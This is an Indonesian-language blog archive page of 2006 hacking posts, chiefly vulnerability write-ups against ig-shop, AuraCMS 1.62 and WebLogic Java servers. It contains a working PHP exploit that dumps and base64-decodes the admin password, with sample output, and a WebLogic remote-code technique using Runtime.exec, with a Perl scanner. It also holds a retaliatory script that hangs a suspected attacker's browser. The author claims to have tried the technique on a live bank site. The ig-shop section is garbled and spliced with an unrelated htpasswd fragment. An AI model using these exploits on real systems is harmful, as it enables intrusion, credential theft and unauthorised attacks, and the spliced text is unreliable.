LaGiPusHinGWitH ----- IT
About This Site
Teknologi Informasi sangatlah penting untuk menunjang kemajuan ilmu pengetahuan di Indonesia pada khususnya. Dan ini semua haruslah ditunjang dengan kemampuan yang sepadan dengan kemajuan teknologi itu sendiri, terlebih untuk para praktisi IT itu sendiri. Akhir kata "Selamat berkarya" untuk kita semua. koy^k^guy^ - Owner
Navigation
Home |
Calendar
| February 2012 | ||||||
|---|---|---|---|---|---|---|
| S | M | T | W | T | F | S |
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | |||
Categories
Monthly Archives
- September 2010
- October 2009
- December 2008
- November 2008
- October 2008
- September 2008
- July 2008
- May 2008
- March 2008
- December 2007
- October 2007
- September 2007
- August 2007
Most recent entries
- Create Oracle Tablespace on SAP with BRTools
- Audit on Oracle Database
- Membuat Oracle Data Guard
- Cerita Tentang Kamu
- Membuat ulang/re-create controlfile di oracle
- Membuat RMAN dengan crontab
- Saat kau hadir kembali
- Memindahkan controlfile dan redologfile pada Oracle
- Oracle Dataguard on Standart Edition
- Adakah aku dihatimu
- Instalasi 10g di HP-UX Itanium
- Instalasi OpenOffice di Slackware 12
- Syncronize archive log
- Merubah ukuran archived Log
- Alter Block Size for tablespace
Syndicate
Site Statistics
This page has been viewed 256135 times
Page rendered in 1.3041 seconds
39 queries executed
Debug mode is on
Total Entries: 61
Total Comments: 17
Total Trackbacks: 42607
Most Recent Entry: 09/28/2010 09:19 pm
Most Recent Comment on: 09/28/2010 09:51 pm
Total Members: 1
Total Logged in members: 0
Total guests: 7
Total anonymous users: 0
Most Recent Visitor on: 02/06/2012 02:42 am
The most visitors ever was 269 on 05/28/2011 03:07 pm
Site Credits
Powered by:
ExpressionEngine
Design by:
BlogMoxie
Computer Hacking
Author: roninmorgue
Date: April, 29th 2006
Location: Indonesia, Jakarta
Web: http://www.forum.mercubuana-it.org/
--------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ig-shop is advance free e-commerce, written in php.
Download : http://prdownloads.sourceforge.net/ig-s ... p?download
Online support info@igeneric.co.uk
Website http://www.igeneric.co.uk
Version :
Tested in version 1.2
not tested in older or maybe newer version
-------------------------------------------------------------
Vulnerabilities:
~~~~~~~~~~~~~~~~
A. Full Path Disclosure :
poc :
http://jouninhackers/ig-shop/ig_shop/pa ... oduct_id=1
dengan menghilangkan nomor index produk.
http://jouninhackers/ig-shop/ig_shop/pa ... roduct_id=
Warning: Cannot add header information - headers already sent by (output started at
c:apachehtdocsig-shopig_shopclass.FastTemplate.php:349) in c:apachehtdocs
ig-shopig_shopproduct.php on line 211
akan terlihat pesan error pada halaman disertai dengan path lengkap dari path
server menuju path domain kita…
vulnerability terjadi pada fungsi module_product_view_show($module_id,$param)
product.php
function module_product_view_show($module_id,$param) {
global $tpl,$product_id,$view_image,$type_id,$session,$HTTP_COOKIE_VARS;
if (!$product_id) {
sleep(2);
header("Location: index.php");
}
dengan class FastTemplate pada file class.FastTemplate.php
pada fungsi module_product_view_show($module_id,$param) apabila index produk tidak ada
maka akan didirect pada halaman index.php tetapi pada class FastTemplate telah
ditampilkan terlebih dahulu halaman produk pilihan sehingga error handling mengalami
kegagalan fungsi.
B. Hidden field vulnerability
pada saat checkout sebenarnya sudah diterapkan proses validasi harga yang dilakukan oleh server
view_chart.php
if ($pids) {
$result = mysql_query("select p.*,mf.name as manuf_name,t.name as type_name from catalog_product
as p left join catalog_manuf as mf on p.manuf_id = mf.manuf_id left
join catalog_type as t on p.type_id = t.type_id
where p.product_id in ($pids) group by p.product_id order by mf.name,p.model");
if ($result && mysql_num_rows($result)) {
$tpl->parse("HTML”,"head");
$tpl->FastPrint("HTML");
$total = 0;
while ($l = mysql_fetch_array($result)) {
$tpl->$%@!&#$_SENCORED_$%@!&#$(array("PRODUCT_ID" => “$l[product_id]”,
“MODEL” => strip_tags($l[model]),
“CODE” => “$l”,
“TYPE” => strip_tags($l[type_name]),
“PRICE” => sprintf("%.2f",$l[price]),
“MANUF” => “$l[manuf_name]"));
===================potong============================
sehingga user tidak dapat melakukan perubahan data/nilai dengan cara merubah kode pada klien dengan
teknik mendownload halamaman dalam bentuk HTML
tetapi pada level payment gateway (cart.php) terdapat script:
if ($new_order)
$grandtotal = “$total+$shipping”;
$pmisi = “
Igeneric Order Confirmation
==================================
Order ID: $session[order_id]
SubTotal: $total
Shipping: $shipping
Total: $grandtotal
====================================
Billing Information
====================================
Salutation: $data[salutation]
First Name: $data[first
==========================potong=================
yang apabila didownload oleh klien dalam bentuk HTML akan menghasilkan script :
<form name="cart" action="https://www.secpay.com/java-bin/ValCard" method="post">
<input type="hidden" name="merchant" value="mikenu01">
<input type="hidden" name="trans_id" value="13">
<input type="hidden" name="callback" value="#">
==========================potong=================
<input type="hidden" name="amount" value="5100005.00">
<input type="hidden" name="order"
value="<order class=’com.secpay.seccard.Order’<
<orderLines class=’com.secpay.seccard.OrderLine’<
<OrderLine<
require user roninmorgue
</Limit>
Dalam contoh di atas, untuk mengakses direktori tersebut dibutuhkan userid
“roninmorgue” dan password yang sama dengan entry userid roninmorgue di berkas
“/home/roninmorgue/.kuncirahasia”. Ketika direktori tersebut diakses, akan muncul
sebuah pop-up window yang menanyakan userid dan password.
Password di dalam berkas “/home/roninmorgue/.kuncirahasia” dapat dibuat dengan
menggunakan program “htpasswd”.
unix% htpasswd -c /home/roninmorgue/.kuncirahasia roninmorgue
New password: ***********
----------------------------------------------------------
Shoutz:
~~~~~~~
~ forum|staff (roninmorgue, darkstar, admin, qnoyyy, gaga, kalion, WaferStick, newbie)
~ mercubuana-it@yahoogroups.com ,
----------------------------------------------------------
Contact:
~~~~~~~~
roninmorgue || forum|staff
Homepage: http://www.forum.mercubuana-it.org/
email: roninmorgue[at]yahoo[dot]co[dot]id
Computer Hacking • (0) Comments • (186) Trackbacks • Permalink
Author: roninmorgue
Date: May, 27th 2006
Location: Indonesia, Jakarta
Web: http://www.forum.mercubuana-it.org/
-----------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
AuraCMS162 is a free Content Management System, written in php.
Author: Arif Supriyanto - arif@ayo.kliksini.com
http://www.auracms.tk
http://www.semarang.tk
http://www.ayo.kliksini.com
http://www.auracms.opensource-indonesia.com
Version : 1.62
tested on AuraCMS1.62
not tested on other/older or maybe the newer version but it is
possible be the same
-----------------------------------------------------------------
Vulnerabilities:
~~~~~~~~~~~~~~~~
Setelah begitu banyaknya vulnerability yang ditemukan sampai dengan versi 1.61,
dimana saya sendiri menemukannya dan telah mengontak vendor serta mendapatkan
tanggapan yang posistif maka vendor mengeluarkan versi 1.62 yang telah melakukan
patching terhadap file-file yang mengandung vulenerability.
vulnerability yang masih dapat diexploit pada versi 1.62 ->
A. PHP Local Root Exploit :
petunjuk peng-install-an AuraCMS162 ->
Upload file ke webhosting.
set file permission seperti berikut :
chmod 755 untuk file-file *.php
chmod 777 untuk folder /images
chmod 777 untuk folder /files
chmod 777 to file /mod/online.db.txt
chmod 777 to file /mod/counter.txt
chmod 777 to file /mod/month.txt
chmod 777 to file /mod/today.txt
terlihat bahwa folder /files memberikan akses 777, dimana kita dapat menulis file
pada folder tersebut.
Folder /files adalah folder yang digunakan untuk menyimpan file-file yang dapat
didownload serta kita dapat menguploadnya.
B. Administrator Account Vulnerability :
AuraCMS <= 1.62 tidak melakukan enkripsi terhadap username pada tabel user;
AuraCMS <= 1.62 menggunakan enkripsi fungsi base64_encode untuk menyimpan password admin
sebagaimana kita ketahui bahwa fungsi base64_encode dapat kita dekripsi dengan fungsi
base64_decode dengan mudah…
log.php
if(ereg("log.php",$PHP_SELF)) {
if ($_POST[k]==’check’){
include “config.php”;
$result = mysql_query("SELECT * FROM user WHERE user=’$user’”, $koneksi_db);
$num = mysql_numrows($result);
$row = mysql_fetch_row($result);
$password = base64_encode($password);
if($password!=$row[3] || $num<=0){echo”
alert(’Username or Password is wrong !’);
window.history.go(-1); “;}
else{
session_register("info");
//session_register("user_loged");
$info = base64_encode("$row[1]:$row[2]:$row[3]");
=====================potong==============================
Jadi sekarang bagaimana kita mengexploitasi auracms162 dari 2 buah vulnerability yang
kita ketahui… , Ok!!langsung saja, saya telah menulis script sederhana untuk mendapatkan
account dari administrator dan mendekripsinya.
Catt : script ini harus diupload ke server target -> http://www.target.com/files/auraExploit.php
caranya -> terserah anda, bisa dengan menyisipkan script ini pada file yang akan kita upload
dan berdoa mudah-mudahan adminnya ngga tahu… smile
poc :
auraExploit.php
<?php
/*****************************************************/
/* Hacking AuraCMS162: Hacking auraCMS162 with PHP Local Root Exploit */
/* ===========================================================*/
/* */
/* Copyright (c) 2006 by anstellwinkel (anstellwinkel@yahoo.com.au) */
/* or roninmorgue@yahoo.co.id */
/* */
/* Program ini adalah free software. Anda dapat mendistribusikannya dan */
/* memodifikasinya sesuai keinginan anda dengan tetap menyertakan */
/* nama author */
/* Published Date:12:15:47 Sunday, May 28, 2006 */
/****************************************************/
print " =======================================";
print " AuraCMS162 Local Root Exploit";
print " =======================================";
print "[+] Now attacking ";
print "[+] Building page extension..";
$exploit_file = fopen("hackaura.php", "a+");
print "[DONE]";
print "[+] Set User Autentification..";
$the_exploit = "<?
include("../config.php");
mysql_connect($mysql_host, $mysql_user, $mysql_password);
$hasil =mysql_db_query($mysql_database, "SELECT * FROM user");
while($data = mysql_fetch_array($hasil))
{
$user = $data[user];
$pass = $data[password];
}
echo "Username: $user";
echo "EncryptPassword: $pass";
echo "DecryptPassword:";
echo base64_decode($pass);
?>”;
print “[DONE]”;
print “[+] Sending bugs writable [a+]..”;
print “[+] Create hackaura.php...”;
if (flock($exploit_file, LOCK_EX)) {
fputs($exploit_file, $the_exploit);
flock($exploit_file, LOCK_UN);
print “[OK] “;
print “[+] Sending bugs..[DONE]!!”;
print “[*] Exploited Successed!”;
print “ “;
print “------------------------------------------------”;
print “ + Information:[anstellwinkel@yahoo.com.au]-[www.forum.mercubuana-it.org] +”;
print “-----------------------------------------------------”;
}else {
print “[!] [FAILED] Permission is not writable!!”;
print “-----------------------------------------------”;
print “ + Information:[anstellwinkel@yahoo.com.au]-[www.forum.mercubuana-it.org] +”;
print “----------------------------------------------------”;
}
fclose($exploit_file);
print “<a href=hackaura.php>Aura Administrator Exploited”;
?>
------------------[EOF]-----------------------------------
attack sample
target ->> http://jouninhackers/auracms162/files/auraExploit.php
=======================================
AuraCMS162 Local Root Exploit
=======================================
[+] Now attacking
[+] Building page extension..[DONE]
[+] Set User Autentification..[DONE]
[+] Sending bugs writable [a+]..
[+] Create hackaura.php...[OK] [+] Sending bugs..[DONE]!!
[*] Exploited Successed!
------------------------------------------------------------------
+ Information:[anstellwinkel@yahoo.com.au]-[www.forum.mercubuana-it.org] +
------------------------------------------------------------------
Aura Administrator Exploited
klik link “Aura Administrator Exploited”
http://jouninhackers/auracms162/files/hackaura.php
Username: roninmorgue
EncryptPassword: cjBuMW5tMHJndTM=
DecryptPassword:r0n1nm0rgu3
------------------------------------------------------------------
The fix:
~~~~~~~~
Vendor sudah dihubungi,
Perbaikan sendiri:
1. matikan fungsi modul download/upload.
2. jika tetap mengaktifkannya periksa dengan teliti setiap file yang diupload, ingat anda
adalah admin..!!!
3. buat fungsi untuk menghapus setiap file yang memiliki extension .php pada folder /files
dan /images.
4. ganti enkripsi password dengan fungsi MD5
----------------------------------------------------------------
Shoutz:
~~~~~~~
~ forum|staff (roninmorgue, darkstar, admin, qnoyyy, gaga, kalion, WaferStick, cloud, newbie)
~ mercubuana-it@yahoogroups.com ,
---------------------------------------------------------------
Contact:
~~~~~~~~
roninmorgue || forum|staff
Homepage: http://www.forum.mercubuana-it.org/
email: roninmorgue[at]yahoo[dot]co[dot]id
-------------------------------- [ EOF ] ---------------------
Computer Hacking • (0) Comments • (206) Trackbacks • Permalink
----// Pengantar
HTML injection, script injection atau apapun istilahnya dari teknik hacking klasik dengan metode memasukkan kode-kode
HTML maupun JavaScript kedalam field input suatu web based application memiliki potensi merusak yang cukup besar
apabila tidak ditangani dengan baik...bagi programmer pemula yang tidak banyak mengetahui fungsi-fungsi yang ada tentu
akan menjadi masalah yang cukup menyusahkan. Disini saya mengambil contoh penggunaan dengan PHP programming, banyak
disediakan fungsi-fungsi untuk mengatasi hal tersebut...misalnya :
* strip_tags, mysql_escape_string, htmlentities dll
* menerapkan aturan regular expresion -> preg_match, ereg, ereg_replace
----// Potensi Kerusakan
Kerusakan yang dapat terjadi sangatlah berbahaya apabila seorang penyerang mengetahui kelemahan dari sanitasi input
pada aplikasi web kita, misalnya dengan memasukkan kode-kode HTML dan JavaScript seorang penyerang dapat merubah
tampilan dari aplikasi kita ataupun mendirect halaman dari aplikasi kita ke alamat penyerang dan berbagai macam
bentuk potensi merusak lainnya.
----// Kelemahan selain HTML injection
Permasalahan lainnya dari sanitasi input adalah penanganan terhadap input dari user berupa karakter tanpa spasi, dengan
memasukkan karakter tanpa spasi dalam jumlah yang besar akan menyebabkan rusaknya tampilan aplikasi web kita...tentu
hal ini sangat menyebalkan dan kita tidak menginginkan itu terjadi bukan?? smile dan terkadang saya juga ingin sedikit
membalas tindakan mereka wink
Setelah kita melakukan sanitasi terhadap kode-kode html maka diperlukan juga sanitasi terhadap input karakter
tanpa spasi yang dapat merusak tampilan website kita, sekaligus untuk sedikit memberi pelajaran pada siiseng..
kita buat browser dia untuk looping sebanyak2nya...OK
----// POC (Proof Of Concept)
Disini kita akan membuat sebuah fungsi yang akan digunakan untuk men-sanitasi string yang dimasukkan oleh user, apabila
string tidak bermasalah/mengandung kode-kode dan maksud yang tidak baik maka data akan diinput kedalam database aplikasi
kita sedangkan jika sebaliknya maka fungsi ini akan memfilternya dan mem-bypass ke sebuah script yang akan diterima oleh
user yang mengirimkan kode tersebut smile
Langkah-langkahnya adalah sebagai berikut -->>
1. buat file untuk fungsi mengecek komentar/teks input
cekKomen.php
# 1 # 2
# 3 function komentar($komentar)
# 4 {
# 5 if(!empty($komentar))
# 6 {
# 7 $bersihKomentar = preg_match("/^[a-z0-9. .,.:.-]+$/i”, $komentar); // mengijinkan alphanumerik
# 8 $ok = explode(” “,$komentar);
# 9 $jml = count($ok);
# 10 for($i=0;$i<$jml;$i++)
# 11 {
# 12 $hal[$i] = strlen($ok[$i]);
# 13 }
# 14 for($i=0;$i<$jml;$i++)
# 15 {
# 16 if (($hal[$i] > 20) || (!$bersihKomentar)) // asumsi jumlah karakter dari setiap kata > 20 (bisa dirubah)
# 17 {
# 18 $keluar = false;
# 19 break;
# 20 }
# 21 else
# 22 $keluar=true;
# 23 }
# 24 if($keluar==true)
# 25 return $komentar;
# 26 }
# 27 else
# 28 return $komentar;
# 29 if ($keluar==false)
# 30 {
# 31 ?>
# 32
# 33 var bilangan=1;
# 34 do{
# 35 alert("Kenapa...! Mo coba HAcking Yah...BRoWseR ANda HanG SekAraNG");
# 36 bilangan ++;}
# 37 while(bilangan<=1000);
# 38
# 39 # 40 }
# 41 }
# 42 ?>
---------------------eof---------------------------------------
----// Penjelasan Script
Baris 3 menyatakan kita membuat sebuah fungsi untuk melakukan sanitasi dari variabel komentar.
Baris 5 membuat suatu kondisi apabila user telah melakukan input data
Baris 7 melakukan sanitasi terhadap string dengan hanya mengijinkan karakter alphanumerik
Baris 8 memecah karakter input berdasarkan spasi
Baris 9 menghitung jumlah kata pada data input utnuk dijadikan parameter dalam melakukan penelusuran
Baris 12 - 22 menghitung jumlah huruf pada setiap kata dan apabila ditemukan jumlah huruf > 20 atau ditemukan
karakter yang tidak diijinkan maka akan menciptakan kondisi false, sebaliknya akan menciptakan
kondisi true.
Baris 24 - 25 Jika kondisi true maka data yang akan dimasukkan oleh user akan dimasukkan kedalam database
apa adanya.
Baris 27 - 38 Jika kondisi false maka fungsi akan mem-bypass input dari user dan mengeksekusi sebuah script yang akan
dikirimkan kekomputer klien/user penyerang. Dalam contoh ini saya membuat pada komputer user akan muncul
kotak peringatan yang harus diklik 1000 x, dan ini akan membuat browser user tidak berjalan semestinya/hang
----// Implementasi
2. sertakan file dan fungsi tersebut pada script input kita....
# 1 <?php
# 2 include "connect.php";
# 3 include "cekKomen.php";
# 4
# 5 if(!$submit) {
# 6 ?>
# 7 <form name="form1" method="post" action="">
# 8 <table width="200" border="1">
# 9 <tr>
# 10 <td>Nama</td>
# 11 <td><input name="nama" type="text" id="nama"></td>
# 12 </tr>
# 13 <tr>
# 14 <td>Jabatan</td>
# 15 <td><input name="jabatan" type="text" id="jabatan"></td>
# 16 </tr>
# 17 <tr>
# 18 <tr>
# 19 <td>Komentar</td>
# 20 <td><textarea name="komentar" id="komentar"></textarea></td>
# 21 </tr>
# 22 <td colspan="2"><input name="submit" type="submit" id="submit" value="Submit"></td>
# 23 </tr>
# 24 </table>
# 25 </form>
# 26
# 27 <?php
# 28 } else {
# 29 connect();
# 30 $periksaNama = strip_tags($nama);
# 31 $periksaJabatan = strip_tags($jabatan);
# 32 $periksaKomentar=komentar($komentar); // menyertakan fungsi sanitasi komentar
# 33 $query=mysql_db_query($db, "insert into user (nama, jabatan, komentar) values
# 34 ('$periksaNama', '$periksaJabatan', '$periksaKomentar')");
# 35 if($query){
# 36 echo "Data Berhasil diinput";
# 37 }else{ echo "Data Gagal diinput"; }
# 38 }
# 39 ?>
------------------------eof-----------------------------------
Baris 5 - 25 menampilkan form input dengan variabel-variabel tertentu apabila form dalam kondisi tidak terkirim
Baris 29 - 34 melakukan sanitasi terhadap karakter yang diinput dan memasukkannya kedatabase apabila bersih dari
kode maupun input yang tidak baik berdasarkan fungsi yang disertakan.
----// Penutup
Artikel ini saya buat sebagai pembelajaran bagi para programmer pemula (termasuk saya) dalam melakukan sanitasi input,
serta memberi pelajaran bagi user yang bermaksud tidak baik smile.
Saya sengaja memasukkan unsur-unsur fungsi sanitasi sebagai contoh implementasi… serta saya tidak membuat
sebuah kode/script yang dapat merusak balik penyerang aplikasi kita, walaupun itu bisa saja dilakukan dengan
memasukkan kode-kode exploit maupun virus. Ingat kita bukanlah cracker yang melakukan perusakan.
Algoritma ini dapat diterapkan pada semua jenis scripting programming, tidak hanya sebatas pada PHP…
Saya tidak bertanggung jawab apabila artikel ini disalahgunakan untuk sesuatu yang tidak baik,… smile
Salam..... untuk semua x-code staff n members
---// Referensi
1. Web Hacking: Serangan dan pertahanannya - Stuart McClure
2. Writing Security Tools and Exploits - James C. Foster ; Vincent Liu
3. Hackers Handbook - Auzy_build011
4. Professional PHP Programming - Jesus Castagnetto ; Harish Rawat dkk
4. http://www.forum.mercubuana.it.org
5. Ezine from Echo.or.id
Computer Hacking • Computer Security • (2) Comments • (96) Trackbacks • Permalink
---// Intro
Java menawarkan 2 keuntungan utama bagi bahasa pemrograman server-based. Pertama, Java
berciri orientasi-obyek dan memiliki sekumpulan class dan metode untuk semua kegunaan.
Kedua, java berciri independent-platform, yaitu hanya dengan satu kode dasar java bisa
dijalankan pada banyak platform pada setiap OS yang mendukung Java. Teknologi Web Java
terdiri dari Servlet Java, Java Server Pages (JSP), JavaBeans, dan komponen Java-Driven
lainnya. Sun mengeluarkan framework-nya sendiri dalam form Web server Java yang bisa
menjalankan teknologi java. Saat platform itu populer, banyak lagi server java diperkenal
kan seperti Jserv dan Tomcat (open source) dan dijalankan pada apache, iPlanet, Resin,
Servertec, dan lain-lain.
---// Identifikasi Lubang Keamanan Server Java
Model servlet multithread server aplikasi java juga memiliki kelemahan, seperti Java Web
Server dari Sun, WebSphere dari IBM, WebLogic dari BEA, dan JRun dari Allaire, mengalaminya
karena ada kecacatan pada arsitektur dan implementasinya. Kecacatan pada arsitektur rentan
serangan berjenis penyingkapan source code, eksekusi jarak jauh, dan full path disclosure
---// Hack http://www.xxxxx.com/
http://www.xxxxx.com, adalah portal bisnis. Memakai platform Windows NT, SQL Database, dan server
aplikasi.
Pada url-nya terdapat link2:
http://www.xxxxx.com/index.html
http://www.xxxxx.com/banking.jsp
http://www.xxxxx.com/login.jsp
http://www.xxxxx.com/feedback/feedback.jsp
http://www.xxxxx.com/servlets/tradeonline
Petunjuk awal adalah semua url berakhiran jsp yang berarti menggunakan Java Server Pages.
Berikutnya ada pada url:
http://www.xxxxx.com/servlets/tradeonline
yang menandakan penggunaan servlet Java, yang dipanggil dengan menggunakan pemanggil servlet.
Dengan menggunakan NetCat, kita request “HEAD” untuk mendapatkan jenis server
C:> nc http://www.xxxxx.com 80
HEAD / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Location: /index.html
Server: WebLogic 5.1.0
Content-Length: 217
Connection: Close
---// Pengendali dan Servlet WebLogic
Konfigurasi server aplikasi WebLogic terdapat pada file weblogic.properties, yang berisi parameter-
parameter konfigurasi seperti port TCP webserver, password administrasi, pemetaan servlet, dan lain-
lain. Melalui konfigurasi file, bisa diketahui cara kerja server-server aplikasi. File konfigurasi
menghubungkan servlet dengan beragam tipe sumber yang dilayani oleh server aplikasi, sehingga request
untuk file jsp ditangani oleh file servlet yang dikenal sebagai “pengendali”.
Bagaimana jika kita memanggil FileServlet dan meminta java server pages untuk mengeksekusi pemanggil
JSPServlet dan merequest sebuah file HTML sederhana?. Teknik ini disebut dengan “memaksa pengendali”
----------------weblogic.properties-----------------
weblogic.httpd.register.snoop=examples.servlets.SnoopServlet
Sisi kanan “SnoopServlet” berada pada /examples/servlets/. Sisi kiri, merupakan perintah yang mewakili
alias atau nama lain pemanggilan. Semua yang berasal dari weblogic.httpd.register dipetakan ke servlet
yang diwakili oleh sisi kanan. Dengan kata lain dipetakan menjadi kata snoop
---// Memanggil FileServlet
Dengan melihat lebih jauh file weblogic.properties bisa disingkapkan banyak informasi menarik lainnya.
Core servlet pada server aplikasi diregistrasikan dalam cara yang sama dengan servlet yang dibuat oleh
user!!!. Salah satu bagian dari file weblogic.properties menggambarkan bagaimana FileServlet diregistrasi:
----------------weblogic.properties-----------------
# File servlet registration
# ---------------------------------------------------------------
# FileServlet searches below the documentRoot for the requested file
# and serves it if found. If the requested file is directory,
# FileServlet will append the defaultFilename to the requested path
# and serve that the file found.
weblogic.httpd.register.file=weblogic.servlet.FileServlet
Sisi kiri adalah alias untuk ServletFile, dimana kata “file” pada url memanggil FileServlet. Sekarang apa
yang terjadi bila url http://www.xxxxx.com/-file dimasukkan kedalam browser??? FileServlet didesain untuk
menjalankan beberapa file teks biasa kepada klien, tetapi bagaimana jika kita menggunakannya untuk mengambil
file JSP??? wink
url http://www.xxxxx.com/feedback/feedback.jsp
feedback.jsp adalah sebuah form untuk pelanggan melakukan feedback pada owner. Secara default file JSP
dikontrol oleh servlet prosesor JSP yaitu JspServlet. Sekarang mari kita berusaha agar feedback.jsp dikendalikan
oleh FileServlet dengan menggunakan url ini:
http://www.xxxxx.com/file/feedback/feedback.jsp
ternyata request tersebut menghasilkan penyingkapan source code yang sangat fatal, yang disebabkan oleh
“pengendali tidak cocok”, yaitu memaksa FileServlet memproses request JSP, padahal yang seharusnya mengendalikan
JspServlet. FileServlet memberikan isi file tanpa proses lebih jauh lagi.
Dari source code tersebut diketahui bahwa feedback yang dikirimkan klien dicatat kesebuah file bernama input.html
yang berada pada direktori yang sama (./myserver/public_html/feedback/input.html).
Dengan memanggil file input.html kita dapat melihat pesan-pesan feedback dari pelanggan.
Penelusuran kelemahan ini akan lebih membawa kita kepada hasil yang lebih berbahaya daripada hanya sekedar dapat
membaca pesan feedback dan megetahui bahwa file input.html dapat ditulis.
Kita kembali melihat pada file weblogic.properties:
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# WEBLOGIC JSP PROPERTIES
# -------------------------------------------------------
# Sets up automatic page compilation for JSP. Adjust init args for
# directory locations and uncomment to use.
1. weblogic.httpd.register.*.jsp=
weblogic.servlet.JSPServlet
2. weblogic.httpd.initArgs.*.jsp=
pageCheckSecond=1,
compileCommand=c:/jdk1.2/bin/javac.exe,
workingDir=d:/weblogic/myserver/classfiles,
verbose=true
JSPServlet tercatat dengan alias “*.jsp”, dengan kata lain kita bisa memanggil JSPServlet secara
langsung dengan menggunakan string *.jsp pada url.
Sekarang kita akan mencoba untuk memasukkan file html biasa dan memanggil pengendali JSPServlet.
Dari kelemahan yang ditemukan pertama kali, kita masukkan komentar pada feedback.jsp dengan kode
java untuk memaksa pengendali JSPServlet pada file input.html
JSPServlet didesain untuk menangani kode JSP, dan harus memperlakukan isi file input.html sebagai
tag JSP dan meng-compile lalu mengeksekusi kode javanya.
http://www.xxxxx.com/*.jsp/../feedback/input.html
Teknik ini berhasil dengan baik dimana pada bagian feedback terdapat output “nick saya roninmorgue”,
dapat kita ketahui bahwa kelemahan ini dapat mengeksekusi perintah merusak pada web server, bukan
hanya penyingkapan source code.
Sampai sini sepertinya kita sudah memahami bahwa seorang hacker tidak hanya dapat menjalankan
statement output biasa tetapi juga dapat melakukan remote command dengan memasukkan kode-kode untuk
mengeksekusi sistem seperti:
Process p=Runtime.getRuntime().exec("cmd /c dir");
Selanjutnya tinggal mengeksekusi file input.html seperi cara sebelumnya, kita dapat juga melakukan
perintah untuk mengupload file shell command smile.
Oh yah sebagai catatan yang perlu diingat, bukan hanya weblogic yang mengalami kelemahan ini, hampir
semua aplikasi java server mengalaminya.
Sekarang kita coba buat script exploitnya yang berfungsi untuk melakukan pengecekan terhadap server
weblogic yang vulnerable terhadap kelemahan ini, ingat hanya mengecek!!!! -->
----------------weblogic.properties-----------------
weblogic.httpd.register.snoop=examples.servlets.SnoopServlet
----------------weblogic.properties-----------------
# File servlet registration
# ---------------------------------------------------------------
# FileServlet searches below the documentRoot for the requested file
# and serves it if found. If the requested file is directory,
# FileServlet will append the defaultFilename to the requested path
# and serve that the file found.
weblogic.httpd.register.file=weblogic.servlet.FileServlet
--------------------------weblogicExp.pl-------------------------
#!/usr/bin/perl -w
# Exploit Code by y3dips [for testing only] for becommunity exploit
# Recoded by roninmorgue [fot testing only] for weblogic java application server
print “ * Remote Testing Java Server (weblogic) by roninmorgue * “;
require LWP::UserAgent;
if(@ARGV == 2)
{
$target = $ARGV[0]; #ambil inputan url target , eg : http://www.target.com
$fileinject = $ARGV[1]; #ambil path yang akan diinject , eg : /feedback/feedback.jsp
my $ua = LWP::UserAgent->new;
$ua->agent("MSIE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;
$url1 = “http://$target/snoop”;
$url2 = “http://$target/file/$fileinject”;
my $inject1 = $ua->get($url1);
print “--------------------------------------------------- “;
if ($inject1->is_success)
{ print (” $target kemungkinan besar vulnerable “); }
else { print (” $target kemungkinan tidak vulnerable “); }
print “--------------------------------------------------- “;
my $inject2 = $ua->get($url2);
print “--------------------------------------------------- “;
if ($inject2->is_success)
{ print (” source code $fileinject terbuka “); }
else { print (” source code $fileinject tidak terbuka “); }
print “--------------------------------------------------- “;
}
else{
print “Gunakan: perl weblogicExp.pl [www.target] “; #Help options
}
------------------------------------------eof-----------------
Jika menampilkan pesan http://www.target.com kemungkinan besar vulnerable dan/atau source code terbuka,
maka kita dapat coba melakukan teknik-teknik exploit yang dijelaskan sebelumnya.
untuk tiap-tiap aplikasi server java lainnya selain weblogic harap dilihat file konfigurasinya atau
file propertiesnya...karena memiliki kecacatan yang hampir sama.
catt: memang vulnerability ini bukan hanya kesalahan dari aplikasi java server saja, tapi dari lemahnya
konfigurasi server ditambah dengan lemahnya sanitasi dari pemrograman menciptakan lubang besar
bagi aplikasi server java
---// Fix
* Buat sanitasi pada input dari user, cegah user untuk memasukkan kode-kode yang merusak.
var badstring = (’<’,’>’,’’’,’“‘,’*’,’#’,’=’,’&’,’’,’;’,’:’); // Invalid character is a space
* Buang semua file-file eksekusi seperti cmd.exe, ftp.exe baik windows maupun unix pada server
* Non-aktifkan pemanggilan servlet secara langsung, memang menyulitkan developer tapi sebanding dengan
keamanan yang didapatkan.
---// Summary
Artikel ini diintisarikan dari buku Web Hacking: Serangan dan pertahanannya, serta saya praktekkan pada
web https://www.xxxxx.hsbc.co.id/
tapi saya tidak mempublishnya untuk keamanan saya sendiri smile
Artikel ini saya buat mengingat banyaknya sebagian kalangan IT yang mengatakan bahwa server java sangat
aman dari hacking, dan juga dari perbincangan saya dengan anak 2001 saat diruangan jurusan mengenai
java, dimana dia sangat membanggakan keamanan dari java dan berkata “Tidak ada yang bisa menembus Java”.
Artikel ini juga tidak bermaksud untuk mengatakan bahwa Java Server tidak aman, karena prinsip saya
adalah tidak ada satupun sistem yang aman 100%. OK sekian dulu artikel ini Terima Kasih!!! smile
Semoga bermanfaat.
Wassalam!
---// Reference
1. Web Hacking: Serangan dan pertahanannya - Stuart McClure
2. Writing Security Tools and Exploits - James C. Foster ; Vincent Liu
3. Hackers Handbook - Auzy_build011
4. http://www.forum.mercubuana.it.org buat link DL java servernya
5. Ezine from Echo.or.id
------------------------------------------------------------
Shoutz:
~~~~~~
~ forum|staff (roninmorgue, darkstar, admin, qnoyyy, gaga, kalion, WaferStick, newbie, cloud)
~ mercubuana-it@yahoogroups.com ,
~ x-code staff n members at yogya_family_code, ^family_code^,
---------------------------------------------------------------
Contact:
~~~~~~~~
roninmorgue || forum|staff
Homepage: http://www.forum.mercubuana-it.org/
email: roninmorgue[at]yahoo[dot]co[dot]id
anstellwinkel[at]yahoo[dot]com[dot]au
---------------- [ EOF ] ----------------------------------------
Posted by roninmorgue on 08/18 at 03:09 PM
Computer Hacking • (0) Comments • (202) Trackbacks • Permalink
Author: roninmorgue
Date: May, 03th 2006
Location: Indonesia, Jakarta
Web: http://www.forum.mercubuana-it.org/
-----------------------------------------------------------------
